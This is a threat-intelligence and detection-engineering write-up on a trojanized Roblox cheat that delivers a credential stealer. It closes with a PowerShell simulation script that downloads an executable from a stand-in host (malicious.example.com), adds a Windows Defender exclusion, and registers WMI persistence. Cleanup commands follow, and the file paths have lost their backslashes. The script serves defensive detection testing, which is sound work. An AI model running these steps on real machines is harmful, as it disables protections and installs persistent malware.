AI-Powered Roblox Cheats Deliver the Yuta/Solara Stealer

Summary

A malicious Roblox cheat package combines a trojanized .NET interface with a Python stealer bundled through PyInstaller. The initial loader weakens Microsoft Defender protections, retrieves a second-stage payload from MediaFire, and launches malware derived from Glove Stealer to collect credentials, cookies, wallet files, and gaming-related assets. Stolen data is then exfiltrated through encrypted Discord webhooks and supported by a persistent Discord bot RAT.

Investigation

The report provides an in-depth static analysis of the malware, including extraction of the PyInstaller payload, decompilation of Python 3.12 bytecode, and mapping of the credential-theft workflow. It also outlines the full multi-stage execution chain, the defense-evasion methods used by the operators, and the five-layer bypass approach targeting Chrome App-Bound Encryption protections.

Mitigation

Organizations should block execution of unknown unsigned binaries, apply strict application allow-listing, monitor for changes to Defender exclusions and suspicious PowerShell usage, and detect unusual downloads of configuration data from Pastebin. Discord webhook traffic should be restricted or closely monitored, and defenders should watch for abnormal Chrome launches that use debugger-related flags.

Response

Security teams should alert on creation of winupdate.exe in the AppData cache, suspicious registry Run key modifications, scheduled task creation, and unusual Discord channel activity. Malicious files should be quarantined, unauthorized Defender exclusions removed, and forensic collection performed on any credential stores that may have been harvested.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:

  1. Ingress Tool Transfer (T1105): The attacker downloads the malicious Roblox executor (SLaunch.exe) from a compromised web server.
  2. Execution with Defender Tampering (T1548.002): Using PowerShell, the attacker runs SLaunch.exe with a command line that invokes Add-MpPreference -ExclusionPath "C:Roblox" to whitelist the Roblox installation folder, preventing Windows Defender from scanning the injected payload.
  3. Persistence (T1546.003 / T1547.001): A WMI event subscription is created to relaunch SLaunch.exe at system startup.
  4. Credential Harvesting (T1056.001, T1555.003): While the injector is running, it captures keystrokes and extracts saved Roblox credentials from browser stores.

• Regression Test Script: The following PowerShell script reproduces steps 2–3 and generates the telemetry the Sigma rule expects.

  # ------------------------------------------------------------
  # Roblox Injector Execution + Defender Exclusion (TC Script)
  # ------------------------------------------------------------
  
  # Paths (adjust as needed)
  $injectorPath = "C:TempSLaunch.exe"
  $defenderExcl = "C:Roblox"
  
  # 1. Ensure the injector exists (download placeholder)
  if (-Not (Test-Path $injectorPath)) {
      Write-Host "Downloading malicious injector..."
      Invoke-WebRequest -Uri "http://malicious.example.com/SLaunch.exe" -OutFile $injectorPath
  }
  
  # 2. Execute injector with Defender exclusion command line
  $cmd = "-run -script `"UpdateSplash.EnsureWindowsDefenderExclusion()`" -Add-MpPreference -ExclusionPath `"$defenderExcl`""
  Start-Process -FilePath $injectorPath -ArgumentList $cmd -NoNewWindow
  
  # 3. Create a WMI permanent event subscription for persistence
  $wmiFilter = @"
  SELECT * FROM __InstanceCreationEvent
  WITHIN 60
  WHERE TargetInstance ISA 'Win32_Process' 
  AND TargetInstance.Name = 'SLaunch.exe'
  "@
  
  $filterPath = "ROOTDEFAULT"
  $filterName = "RobloxInjectorFilter"
  $consumerName = "RobloxInjectorConsumer"
  
  # Register filter
  $filter = Set-WmiInstance -Namespace $filterPath -Class __EventFilter `
      -Arguments @{ Name=$filterName; Query=$wmiFilter; EventNamespace='rootcimv2'; QueryLanguage='WQL' }
  
  # Register command line consumer
  $consumer = Set-WmiInstance -Namespace $filterPath -Class CommandLineEventConsumer `
      -Arguments @{ Name=$consumerName; CommandLineTemplate="`"$injectorPath`"" }
  
  # Bind filter to consumer
  Set-WmiInstance -Namespace $filterPath -Class __FilterToConsumerBinding `
      -Arguments @{ Filter=$filter.__PATH; Consumer=$consumer.__PATH }
  
  Write-Host "Simulation complete – detection telemetry should have been generated."

• Cleanup Commands: Remove the Defender exclusion and the WMI subscription created above.

  # Remove Defender exclusion
  Remove-MpPreference -ExclusionPath "C:Roblox"
  
  # Delete WMI filter & consumer
  $filterPath = "ROOTDEFAULT"
  Get-WmiObject -Namespace $filterPath -Class __EventFilter -Filter "Name='RobloxInjectorFilter'" | Remove-WmiObject
  Get-WmiObject -Namespace $filterPath -Class CommandLineEventConsumer -Filter "Name='RobloxInjectorConsumer'" | Remove-WmiObject
  Get-WmiObject -Namespace $filterPath -Class __FilterToConsumerBinding `
      -Filter "Filter=`"__EventFilter.Name='RobloxInjectorFilter'`"" | Remove-WmiObject
  
  # Delete the injector binary
  Remove-Item -Path "C:TempSLaunch.exe" -Force